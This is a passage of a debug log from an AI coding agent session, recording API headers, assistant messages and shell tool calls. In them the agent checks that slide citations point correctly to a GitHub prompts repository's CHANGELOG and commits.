\"0.78\",\n[2026-09-29T08:03:36.851Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:36.854Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:36.856Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:36.858Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:36.860Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:36.863Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.866Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:36.870Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:36.875Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:36.880Z] [STDOUT]     \"cf-ray\": \"a42978e4ab755d90-FRA\",\n[2026-09-29T08:03:36.882Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:36.884Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:36.886Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:36.890Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:36.893Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:36 GMT\",\n[2026-09-29T08:03:36.895Z] [STDOUT]     \"request-id\": \"req_011CfXP9BQqp3CduFFtaCKns\",\n[2026-09-29T08:03:36.898Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:36.901Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:36.904Z] [STDOUT]     traceresponse: \"00-c541f3e9731055424d6ff740b462f75a-a9bb006ee6fd9b75-01\",\n[2026-09-29T08:03:36.907Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:36.911Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:36.916Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:36.921Z] [STDOUT]   },\n[2026-09-29T08:03:36.925Z] [STDOUT]   durationMs: 1024,\n[2026-09-29T08:03:36.928Z] [STDOUT] }\n[2026-09-29T08:03:36.935Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:36.937Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:36 GMT\",\n[2026-09-29T08:03:36.940Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:36.944Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:36.946Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:36.948Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:36.950Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:36.953Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:36.956Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:36.962Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:36.966Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:36.973Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:36.976Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:36.979Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:36.983Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:36.986Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:36.990Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:36.992Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.994Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:36.997Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:36.999Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:37.001Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:37.004Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:37.006Z] [STDOUT]   \"request-id\": \"req_011CfXP9BQqp3CduFFtaCKns\",\n[2026-09-29T08:03:37.011Z] [STDOUT]   \"traceresponse\": \"00-c541f3e9731055424d6ff740b462f75a-a9bb006ee6fd9b75-01\",\n[2026-09-29T08:03:37.016Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:37.018Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:37.020Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:37.022Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:37.024Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:37.028Z] [STDOUT]   \"cf-ray\": \"a42978e4ab755d90-FRA\",\n[2026-09-29T08:03:37.033Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:37.044Z] [STDOUT] [log_a4478f] response parsed {\n[2026-09-29T08:03:37.058Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:37.061Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:37.063Z] [STDOUT]   body: X {\n[2026-09-29T08:03:37.070Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:37.073Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:37.075Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:37.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:37.083Z] [STDOUT]     },\n[2026-09-29T08:03:37.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:37.092Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:37.096Z] [STDOUT]     toReadableStream: [Function: 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{\n[2026-09-29T08:03:38.063Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"id\": \"msg_011CfXP9Bs8dp2FykwkA7KFV\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"content\": [\n[2026-09-29T08:03:38.063Z] [INFO]       {\n[2026-09-29T08:03:38.063Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:38.063Z] [INFO]         \"text\": \"The constructs check out. The mango_ba_prompts CHANGELOG doesn't record the 23-file split, so I'll point that link to the commit instead, using whatever the slides cite.\"\n[2026-09-29T08:03:38.063Z] [INFO]       }\n[2026-09-29T08:03:38.063Z] [INFO]     ],\n[2026-09-29T08:03:38.063Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:38.063Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_creation_input_tokens\": 1666,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_read_input_tokens\": 93873,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:38.063Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:38.063Z] [INFO]         \"ephemeral_1h_input_tokens\": 1666\n[2026-09-29T08:03:38.063Z] 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\"222:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\n223:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md\\n224:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md\\n226:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts\\n497:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\nd8a47597ed9f0301e03086e7c14cbd35205b01d1\\nrefactor: split BA prompts draft into 23 standardized files (#56)\\n\\nOK (skipped=6)\\nExecution package tests passed (26 package cases + route emulation + runner negatives + BA guides + BCREQ regression and compilation).\\n\\n[exited with code 0]\",\n[2026-09-29T08:03:42.754Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:42.754Z] [INFO]       }\n[2026-09-29T08:03:42.754Z] [INFO]     ]\n[2026-09-29T08:03:42.754Z] [INFO]   },\n[2026-09-29T08:03:42.754Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:42.754Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"uuid\": \"4739935d-7cec-4f1c-8376-f93c5d55e78b\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:42.749Z\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:42.754Z] [INFO]     \"stdout\": \"222:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\n223:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md\\n224:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md\\n226:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts\\n497:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\nd8a47597ed9f0301e03086e7c14cbd35205b01d1\\nrefactor: split BA prompts draft into 23 standardized files (#56)\\n\\nOK (skipped=6)\\nExecution package tests passed (26 package cases + route emulation + runner negatives + BA guides + BCREQ regression and compilation).\\n\\n[exited with code 0]\",\n[2026-09-29T08:03:42.754Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:42.754Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:42.754Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:42.754Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:42.754Z] [INFO]   }\n[2026-09-29T08:03:42.754Z] [INFO] }\n[2026-09-29T08:03:42.824Z] [STDOUT] [log_68a1ab] sending request {\n[2026-09-29T08:03:42.832Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:42.846Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:42.850Z] [STDOUT]   options: {\n[2026-09-29T08:03:42.857Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:42.864Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:42.866Z] [STDOUT]     body: {\n[2026-09-29T08:03:42.871Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:42.873Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:42.875Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:42.881Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:42.883Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:42.885Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:42.887Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:42.889Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:42.891Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:42.893Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:42.896Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:42.898Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:42.900Z] [STDOUT]     },\n[2026-09-29T08:03:42.902Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:42.903Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:42.905Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:42.908Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:42.911Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:42.916Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:42.918Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:42.920Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:42.922Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:42.924Z] [STDOUT]     },\n[2026-09-29T08:03:42.926Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:42.928Z] [STDOUT]   },\n[2026-09-29T08:03:42.930Z] [STDOUT]   headers: {\n[2026-09-29T08:03:42.932Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:42.935Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:42.938Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:42.940Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:42.942Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:42.944Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:42.946Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:42.949Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:42.952Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:42.955Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2237\",\n[2026-09-29T08:03:42.957Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:42.960Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:42.963Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:42.967Z] [STDOUT]     \"x-client-request-id\": \"6967d6c8-0cbe-47f7-885e-9641e3feb730\",\n[2026-09-29T08:03:42.969Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:42.972Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:42.974Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:42.976Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:42.984Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:42.986Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:42.988Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:42.989Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:42.991Z] [STDOUT]   },\n[2026-09-29T08:03:42.994Z] [STDOUT] }\n[2026-09-29T08:03:43.795Z] [STDOUT] [log_68a1ab, request-id: \"req_011CfXP9hZZdKJCuayZBJLn7\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 972ms\n[2026-09-29T08:03:43.803Z] [STDOUT] [log_68a1ab] response start {\n[2026-09-29T08:03:43.812Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:43.818Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:43.820Z] [STDOUT]   headers: {\n[2026-09-29T08:03:43.822Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:43.825Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:43.827Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:43.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:43.853Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:43.860Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:43.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:43.867Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:43.870Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:43.875Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:43.878Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:43.880Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:43.883Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:43.885Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:43.888Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:43.890Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:43.892Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:43.893Z] [STDOUT]     \"cf-ray\": \"a4297910cd0e5d90-FRA\",\n[2026-09-29T08:03:43.895Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:43.896Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:43.898Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:43.902Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:43.904Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:43 GMT\",\n[2026-09-29T08:03:43.906Z] [STDOUT]     \"request-id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:43.908Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:43.910Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:43.912Z] [STDOUT]     traceresponse: \"00-bcbcb217cc371296aef1935d087bf697-d739ab04bb0c061b-01\",\n[2026-09-29T08:03:43.916Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:43.918Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:43.920Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:43.922Z] [STDOUT]   },\n[2026-09-29T08:03:43.923Z] [STDOUT]   durationMs: 972,\n[2026-09-29T08:03:43.926Z] [STDOUT] }\n[2026-09-29T08:03:43.931Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:43.932Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:43 GMT\",\n[2026-09-29T08:03:43.936Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:43.939Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:43.947Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:43.950Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:43.963Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:43.968Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:43.975Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:43.978Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:43.981Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:43.986Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:43.991Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:43.994Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:43.995Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:43.998Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:44.000Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:44.002Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:44.007Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:44.009Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:44.015Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:44.026Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:44.029Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:44.032Z] [STDOUT]   \"request-id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:44.040Z] [STDOUT]   \"traceresponse\": \"00-bcbcb217cc371296aef1935d087bf697-d739ab04bb0c061b-01\",\n[2026-09-29T08:03:44.042Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:44.044Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:44.046Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:44.048Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:44.050Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:44.054Z] [STDOUT]   \"cf-ray\": \"a4297910cd0e5d90-FRA\",\n[2026-09-29T08:03:44.056Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:44.058Z] [STDOUT] [log_68a1ab] response parsed {\n[2026-09-29T08:03:44.061Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:44.063Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:44.067Z] [STDOUT]   body: X {\n[2026-09-29T08:03:44.070Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:44.072Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:44.073Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:44.086Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:44.088Z] [STDOUT]     },\n[2026-09-29T08:03:44.091Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:44.093Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:44.095Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:44.097Z] [STDOUT]   },\n[2026-09-29T08:03:44.099Z] [STDOUT]   durationMs: 973,\n[2026-09-29T08:03:44.101Z] [STDOUT] }\n[2026-09-29T08:03:45.136Z] [INFO] {\n[2026-09-29T08:03:45.136Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:45.136Z] [INFO]   \"message\": {\n[2026-09-29T08:03:45.136Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"id\": \"msg_011CfXP9i9XcPNDjsfuERfuS\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"content\": [\n[2026-09-29T08:03:45.136Z] [INFO]       {\n[2026-09-29T08:03:45.136Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:45.136Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:45.136Z] [INFO]         \"signature\": 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Checking what the slides cite the mango_ba_prompts CHANGELOG for:\"\n[2026-09-29T08:03:45.147Z] [INFO]       }\n[2026-09-29T08:03:45.147Z] [INFO]     ],\n[2026-09-29T08:03:45.147Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:45.147Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_creation_input_tokens\": 773,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_read_input_tokens\": 95539,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:45.147Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:45.147Z] [INFO]         \"ephemeral_1h_input_tokens\": 773\n[2026-09-29T08:03:45.147Z] [INFO]       },\n[2026-09-29T08:03:45.147Z] [INFO]       \"output_tokens\": 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[INFO]   \"timestamp\": \"2026-09-29T08:03:46.525Z\",\n[2026-09-29T08:03:46.556Z] [INFO]   \"request_id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:46.556Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:46.556Z] [INFO]     \"toolu_019HUKNqk2npW3y9RQyRX6uT\": {\n[2026-09-29T08:03:46.556Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 218,228p projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i 'evals\\\\|golden' | head -3\",\n[2026-09-29T08:03:46.556Z] [INFO]       \"description\": \"Inspect slide 4 sources\"\n[2026-09-29T08:03:46.556Z] [INFO]     }\n[2026-09-29T08:03:46.556Z] [INFO]   }\n[2026-09-29T08:03:46.556Z] [INFO] }\n[2026-09-29T08:03:48.673Z] [INFO] {\n[2026-09-29T08:03:48.673Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"message\": {\n[2026-09-29T08:03:48.673Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"content\": [\n[2026-09-29T08:03:48.673Z] [INFO]       {\n[2026-09-29T08:03:48.673Z] [INFO]         \"tool_use_id\": \"toolu_019HUKNqk2npW3y9RQyRX6uT\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"content\": \"generous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 